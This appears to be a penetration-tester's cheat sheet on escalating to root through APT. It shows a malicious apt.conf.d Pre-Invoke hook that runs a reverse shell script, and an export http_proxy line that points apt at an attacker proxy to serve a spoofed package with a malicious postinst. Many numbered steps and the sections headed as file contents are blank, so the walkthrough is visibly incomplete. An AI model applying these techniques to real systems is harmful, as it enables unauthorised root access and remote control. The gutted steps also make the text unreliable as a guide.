APT manager and malicious repository
Requirements: Possibly a crontab that runs apt as root or the user can run apt/apt-get runs as root with sudo. World-writeable /etc/apt/apt.conf.d
Steps:
1) Create a malicious config file (pwnapt) that calls your reverse shell script
APT::Update::Pre-Invoke {"/bin/bash /tmp/pwn.sh"} 2) Create a reverse shell file (pwn.sh)
3) Upload the config file to the /etc/apt/apt.conf.d/00pwn via any method you can (FTP,tftp,etc)
4) Setup listener
5) GG!
BONUS!
Apt configuration files directory: /etc/apt/sources.list.d/ (Check for any files that might contain places that are package repositories for the package manager to pull from)
Setting up a malicious repository
Requirements: Trace down where the apt manager of the target machine installs its packages from by checking out the /etc/apt/sources.list/ directory. Also choose a package which is already present on the target machine (wget for example).
TIP: In sudo configurations (sudo -l) if the http_proxy environment variable is kept while the command is executed as root, before doing the required setup, we can also do: export http_proxy="http://OUR_PROXY:8000" (The proxy is the one we open if we detect this env variable to force the package manager to use our repository) Run the proxy first, then run a simple python3 server and then check if your server receives any requests.
Steps:
1)
2)
3)
Control file contents
4)
5)
Dummy binary contents
6)
7)
Malicious script (postinst) contents
8)
9)
10) Create a file named "Packages" with the contents:
(You can gain the hashes for the .deb file with the md5sum, sha256sum and sha1sum respectively and the size can be gained with ls -la)
11) Finish the setup using gzip
12) Create the directories by replicating the repository we want to spoof with the purpose of the target apt manager downloads the package from our repository instead. Place your package in the right folder according to use case.
13) Run sudo apt-get update and sudo apt-get upgrade on target machine to download our malicious packages file.
14) If the package has been downloaded, press yes to install it
15) GG!
Last updated